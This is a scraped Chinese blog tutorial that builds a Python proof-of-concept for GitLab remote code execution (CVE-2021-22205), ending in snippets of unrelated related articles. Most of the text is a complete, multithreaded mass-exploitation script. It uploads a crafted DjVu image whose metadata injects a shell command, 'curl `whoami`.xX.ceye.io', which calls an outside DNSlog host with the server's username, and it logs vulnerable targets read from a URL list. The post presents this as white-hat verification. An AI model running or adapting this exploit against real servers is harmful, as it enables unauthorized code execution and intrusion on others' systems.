HACK学习黑帽子Python--Gitlab远程代码执行(CVE-2021-22205)脚本构造Poc

news/2024/7/19 11:33:42 标签: python, web安全, 系统安全, 安全性测试, 爬虫

前言: 作为一名白帽,写脚本能快速的在挖洞过程中快速的批量验证。

为了让笔记更有实用性,这里以poc的形式:

Gitlab由于文件解析器对上传的dvju格式的jpg文件校验不严,导致远程代码执行RCE,
Poc利用链:
01.获取"/users/sign_in"页面的session,得到返回包的X-CSRF-Token,
02.利用’X-CSRF-Token’ 请求"/uploads/user" 上传页面,
03.构造带有dnslog命令的poc图片 dnglog_cmd = "curl whoami.xX.ceye.io"上传远程代码执行

01.Https站点请求requests:

header(verify=False) 移除SSL认证
requests.packages.urllib3.disable_warnings() 忽略关闭SSL中的警告
header(timeout=3) 处理请求服务器不能及时响应,请求超时的问题,代码就卡在哪里

02.Requests.session()发送请求:

session = requests.session() 会话能让我们在跨请求的时候保持某些参数
比如这里请求"/users/sign_in"和"/uploads/user"

03.Re正则匹配返回包

某返回包内容meta name=“csrf-token”
content=“ZxRqn/ltWp9B/4nrjNz6Qei0KC4L4MId1aCdN7MR04T3srBeAPie2wkLavXGc8MkAcR0bKdS5RkBombRN4QbRg==”
匹配content部分:token = re.findall(r’name=“csrf-token” content="(.+?)"’,r.text)

04.批量请求异常处理

try 处理正常GET和POST模块,except处理链接超时模块 比如 try:
r = session.get(Dwa_url,headers=header,verify=False)
except:
print("[-] connect fail")

  1. open()函数文件写入读取

(a:附加写方式打开,不可读;a+: 附加读写方式打开) (以w方式打开,不能读出。w+可读写) 例如 with
open(‘vuln_url’,“w+”) as f:

06.命令行参数
保存有命令行参数值。只要知道 命令行参数名

python">  parser=optparse.OptionParser()# 创建一个OptionParser对象
    parser.add_option("-u","--url",dest="url",help="The url that should be Dwa_url")
    parser.add_option("-f","--file",dest="file",help="The url that should be Dwa_urlfile")
    (options,args)=parser.parse_args()

options:保存有命令行参数值。只要知道 命令行参数名,可以访问其对应的值
with open(options.file,“r”) as f:
print(options.file)
f.read().split("\n") 读取不包括\n

07.多线程批量发包

while True: 循环发包 import threading 导入threading模块 if
threading.active_count() <= 10 设置线程数,不大于10 t =
threading.Thread(target=inspect,args=(gitlab[i],)) 设置线程对象t, t.start()
开始线程

if threading.active_count() == 1: 线程为1,意味停止 break

完整源码,大部分参考公众号 "渗透安全团队’’

python">import re,requests
import optparse
requests.packages.urllib3.disable_warnings()
import threading

print("""
                /********                 /**    /********** \*       **                         /* 
               |__  **__/                | **   ||         *  \**   ***                         | *
                  | **  /******  /*******| **   ||       **    ********     /******    /******  | ***   * *   /****** 
                 | ** /**__  ** /**__ ***| **   ||*******      |******     /  **__ ** /  **__ **|  ****** *  /**__  ** 
                 | **| **  \ **| **  \ **| **|  ||*******      |**  **    |   ******* |         |  **   * * | **  \ ** 
                 | **| **  | **| **  | **| **|  ||       **    |**  **    |   **____/ |         |  **   * * | **  | **  
                 | **|  ******/|  ******/| **|  ||         *   |**  **    |    ****** |   ******|  **   ***/|  ******/ 
                 |__/ \______/ \_______/ | __/   \\___******   |_____/     \________/  \_______/ \________/  \______/                                                                               
                                                                                                                                
    	""")

def inspect(target_url):
    #获取当前session和response,页面/users/sign_in,
    session = requests.Session()
    Dwa_url = target_url
    Dwa_url = target_url+"/users/sign_in"
    #print(Dwa_url)
    header = {
       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
       #"Content-Type": "application/x-www-form-urlencoded"
       }
    try:
        r  =  session.get(Dwa_url,headers=header,verify=False)
        print(r.status_code)
        token = re.findall(r'name="csrf-token" content="(.+?)"',r.text)
        token = ''.join(token)
        print(token)
    #except:
      #  print('Dwa_url has error')
        dnglog_cmd = "curl `whoami`.xX.ceye.io"
        data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ dnglog_cmd+"} . \\\n\" b \") )  " \
               "                                                                                                                                                                                                                                                                                                                                                                                                                                   \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
    #构造header请求payload /uploads/user地址
        header1 = {
         "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0",
          "Connection": "close",
          "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
          "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
        r2 = session.post(target_url + "/uploads/user", data=data, headers=header1, verify=False,timeout=3)
        print(r2.status_code)
        if r2.text.find("Failed to process image") != -1:
            print('vuln has exist!!!')
            with open('vuln_url',"w+") as f:
                f.write("[+] 存在远程RCE漏洞:{}\n".format(target_url))
        else:
            print('vuln has false!!')
    except:
            print("[-] Coneect Timeout !")
def main():


    parser=optparse.OptionParser()# 创建一个OptionParser对象
    parser.add_option("-u","--url",dest="url",help="The url that should be Dwa_url")
    parser.add_option("-f","--file",dest="file",help="The url that should be Dwa_urlfile")
        
    #args.file = options.file
   # Dwa_url=options.url
   # inspect(Dwa_url)
    with open(options.file,"r") as f:
        gitlab = f.read().split("\n")
        i=0
        while True:
            if i < len(gitlab) and threading.active_count() <= 8:
                target_url = gitlab[i]
                print(gitlab[i])
                t = threading.Thread(target=inspect,args=(gitlab[i],))  
                t.start()
                i +=1 
                print("[*] 剩下数量:",i, "/", len(gitlab))
            if i == len(gitlab) and threading.active_count() == 1:
                print("[*] done result write in gitlab.txt !")
                break

if __name__ == '__main__':
    main()

稍微修改后,批量的结果:
在这里插入图片描述


http://www.niftyadmin.cn/n/929174.html

相关文章

聊聊如何设计千万级吞吐量的.Net Core网络通信!

原文:聊聊如何设计千万级吞吐量的.Net Core网络通信&#xff01;聊聊如何设计千万级吞吐量的.Net Core网络通信&#xff01; 作者&#xff1a;大石头时间&#xff1a;2018-10-26 晚上 20:00地点&#xff1a;QQ群-1600800内容&#xff1a;网络通信&#xff0c; 网络库使用方式网…

木棍加工——题解

题目&#xff1a;Problem 一堆木头棍子共有n根&#xff0c;每根棍子的长度和宽度都是已知的。棍子可以被一台机器一个接一个地加工。机器处理一根棍子之前需要准备时间。准备时间是这样定义的&#xff1a; 第一根棍子的准备时间为1分钟&#xff1b;如果刚处理完长度为L&#xf…

实战渗透浅谈--记一次傀儡注入工具到Getshell

时间&#xff1a; 2020-04 这是当时拿到第一个WEBSHELL&#xff0c;自己摸导出来的&#xff0c;思路比较简单&#xff0c;没有防护&#xff0c;&#xff0c; 1.掏出傀儡注入工具&#xff0c;&#xff08;确实这一款工具比较牛逼&#xff0c;&#xff0c;&#xff09; 2.拿出pa…

Android小知识-剖析OkHttp中的五个拦截器(下篇)

本平台的文章更新会有延迟&#xff0c;大家可以关注微信公众号-顾林海&#xff0c;包括年底前会更新kotlin由浅入深系列教程&#xff0c;目前计划在微信公众号进行首发&#xff0c;如果大家想获取最新教程&#xff0c;请关注微信公众号&#xff0c;谢谢 在上一节介绍了缓存拦截…

实战 -- 记一次src小组定向挖掘

作者: Echo: time:2021-01-02/22&#xff1a;02 前言: 团队src小组漏洞定向挖掘过程中&#xff0c;找到某目标&#xff0c;发现还挺有意思的&#xff0c;便记录了下来&#xff1b;是java的dwr框架出了问题&#xff0c;已经拿到shell了&#xff1b;后续有了一些新的认识&#x…

Algs4-2.3.28递归深度

2.3.28递归深度。用经验性的研究估计切换阀值为M的快速排序在将大小为N的不重复数组排序时的平均递归深度&#xff0c;其中M10、20和50&#xff0c;N10^3、10^4、10^5和10^6。答&#xff1a;通过测试数据得平均递归深度为2.679lg(N/M)public class E2d3d28{ public stat…

Django06-ORM操作

ORM操作 1、基本操作 # 查 models.Tb1.objects.get(id123) # 获取单条数据&#xff0c;不存在则报错&#xff08;不建议&#xff09; models.Tb1.objects.all() # 获取全部 models.Tb1.objects.filter(nameseven) # 获取指定条件的数据 models.Tb1.objects.exclude(nameseve…

实战-记一次edu证书站getshell

本来前几天就写了&#xff0c;但后来挖了个同济的&#xff0c;想等审核后再一块写&#xff0c;结果今天&#xff0c; 真的不想说话&#xff0c;又重复了&#xff0c;哥几个太卷了&#xff0c;&#xff0c; 01.站点首页 02.然后发现注册功能正常&#xff0c;&#xff0c;&…